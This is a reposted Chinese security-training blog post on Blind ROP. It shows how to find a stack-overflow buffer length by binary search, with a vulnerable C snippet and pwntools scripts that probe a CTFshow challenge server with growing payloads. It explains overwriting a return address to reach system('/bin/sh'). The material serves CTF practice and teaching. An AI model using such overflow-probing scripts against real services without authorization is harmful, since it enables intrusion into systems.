BlindRop|二进制漏洞中的盲注使用二分算法测试栈溢出长度

admin 2026-09-22 05:47:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍BlindROP盲返回导向编程技术,阐述其攻击条件与栈溢出原理,重点提出使用二分算法测试栈溢出长度的方法,相比传统线性测试效率显著提升,案例中仅用14次连接完成测试,并附完整Python实现代码。 综合评分: 80 文章分类: 二进制安全,漏洞分析,实战经验,渗透测试


BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度

zkaq-君叹 zkaq-君叹

掌控安全EDU

2026年9月20日 12:13 江西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

扫码领资料

获网安教程

本文由掌控安全学院 – 君叹 投稿

来Track安全社区投稿~

千元稿费!还有保底奖励~(  https://bbs.zkaq.cn   )****

Blind ROP

基本介绍

BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind。 BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

攻击条件

源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

以上来源于ctf-wiki

通常,我们在测试栈溢出漏洞的时候,我们需要知道缓冲区长度,也就是缓冲区到栈上返回地址的距离。

测试

用ctfshow上的一道例题进行演示 如下图,我们输入 abcd ,四个字节 程序返回 No passwd,See you! 通过回显可以判断程序正常运行了

这时候再输入一个很长的数据,例如100个a 我们可以看到,程序输出了 timeout

由此判断这里程序发生了错误 以此猜测,程序发生了栈溢出漏洞

栈溢出

这里也浅浅的介绍一下栈溢出 有C语言代码如下

#include&nbsp;<stdio.h>

int main() {
&nbsp; &nbsp; char buf[30];
&nbsp; &nbsp; read(0, buf, 0x30);
&nbsp; &nbsp; return 0;
}

程序的返回地址(即这个函数执行完了之后,要去执行哪个函数)是布在栈上的 buf也是布置在栈上的 上面的c语言代码中使用 read() 函数从标准输入中读取 0x30(48)个字节存储到buf变量,但是分配给buf的空间只有 30 个字节,还有 18 个字节(如果我们输入了的话) 会被存储到buf后面的空间里,倘若 返回地址 的位置,刚好在 buf 后面,我们就能控制返回地址,从而控制程序的执行流程 举个例子, main 函数的返回地址是 exit,也就是结束进程的函数,倘若我们把exit修改为 system(‘/bin/sh’), 就获得了目标机器执行这个程序用户的shell。 题外话就说到这里,接下来开始文章的主题

一般测试

一般情况下,在猜测目标程序存在栈溢出漏洞后,我们会写一个这样的脚本 去测试栈长度

学过算法的朋友应该能看的出来,下面这个程序的算法复杂度是O(n) 即程序有多少数据,就要运行多少次循环

# -*- coding: utf-8 -*-
# @Time &nbsp; &nbsp; : 2023/12/27 23:49
# @Author &nbsp; : 君叹
# @File &nbsp; &nbsp; : cs2.py

from pwn import *

buf_lenth = 1
while True:
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; io = remote("pwn.challenge.ctf.show", None)
&nbsp; &nbsp; &nbsp; &nbsp; log.info(f"test: {buf_lenth}")
&nbsp; &nbsp; &nbsp; &nbsp; payload = b'a' * buf_lenth
&nbsp; &nbsp; &nbsp; &nbsp; io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", payload)

&nbsp; &nbsp; &nbsp; &nbsp; if io.recv().startswith(b"No passwd,See you!"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf_lenth += 1
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.success(f"buf length: {buf_lenth}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break
&nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; except:
&nbsp; &nbsp; &nbsp; &nbsp; pass

像是本题中,缓冲区到返回地址的距离是72 (为什么不是73,因为程序发送了73个a程序报错,说明第73个a覆盖了原本返回地址的第一个字节,导致程序报错)

跑72次,不管是测试还是什么,需要的时间久,有时候服务器响应慢,要的时间就更久了

二分算法实现缓冲区长度测试函数

这里二分算法的主要逻辑分为两个部分 1 确定范围 2 得到数字 确定范围,我们可以从 1 开始,每次乘以2 代码依次发送如下payload b’a’ 1 b’a’ 2 b’a’ 4 b’a’ 8 b’a’ 16 …… b’a’ 128

到了128,确定目标数的范围是 64-128 然后开始使用常规的二分算法进行查找 如果程序返回 No passwd 就说明程序正常运行了,小于等于目标值,右移左指针 没有返回,说明没有正常运行,大于目标值,左移右指针

# -*- coding: utf-8 -*-
# @Time &nbsp; &nbsp; : 2023/12/13 21:49
# @Author &nbsp; : 君叹
# @File &nbsp; &nbsp; : getLength.py

from pwn import *

# 获取栈溢出长度
def dichotomy(fun):
&nbsp; &nbsp; num = 1
&nbsp; &nbsp; jici = 0
&nbsp; &nbsp; while fun(num):
&nbsp; &nbsp; &nbsp; &nbsp; jici += 1
&nbsp; &nbsp; &nbsp; &nbsp; num *= 2 # 确定范围
&nbsp; &nbsp; min = num / 2
&nbsp; &nbsp; max = num
&nbsp; &nbsp; c = (max + min) // 2
&nbsp; &nbsp; # print(max,min)
&nbsp; &nbsp; # print("c -> ",c)
&nbsp; &nbsp; while min <= max:
&nbsp; &nbsp; &nbsp; &nbsp; jici += 1
&nbsp; &nbsp; &nbsp; &nbsp; mid = (min + max) // 2
&nbsp; &nbsp; &nbsp; &nbsp; if max - min == 1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return min
&nbsp; &nbsp; &nbsp; &nbsp; if fun(mid): # 返回true,成立,那就是没到位
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; min = mid
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; max = mid
&nbsp; &nbsp; log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
&nbsp; &nbsp; return mid

def getStackLength(addr, port):
&nbsp; &nbsp; # 使用二分法快速寻找到 ebp-buf 的值
&nbsp; &nbsp; def is_True(num):
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io = remote(addr, port)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", 'a' * int(num))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = io.recv()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if not data.startswith(b"No passwd"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return False
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return True
&nbsp; &nbsp; &nbsp; &nbsp; except EOFError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return False

&nbsp; &nbsp; return dichotomy(is_True)

if __name__ == '__main__':
&nbsp; &nbsp; addr = None
&nbsp; &nbsp; port = None

&nbsp; &nbsp; len = getStackLength(addr, port)
&nbsp; &nbsp; print(len)

运行结果

针对本题 共计14次链接,只用了原本不到20%的时间 当缓冲区空间越大,这个增幅也会越明显

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号哦

分享后扫码加我!

回顾往期内容

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

重生HW之感谢客服小姐姐带我进入内网遨游

手把手教你CNVD漏洞挖掘 + 资产收集

【精选】SRC快速入门+上分小秘籍+实战指南

代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~

你的点赞是我更新的动力


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:掌控安全EDU zkaq-君叹 zkaq-君叹《BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度》

    评论:0   参与:  0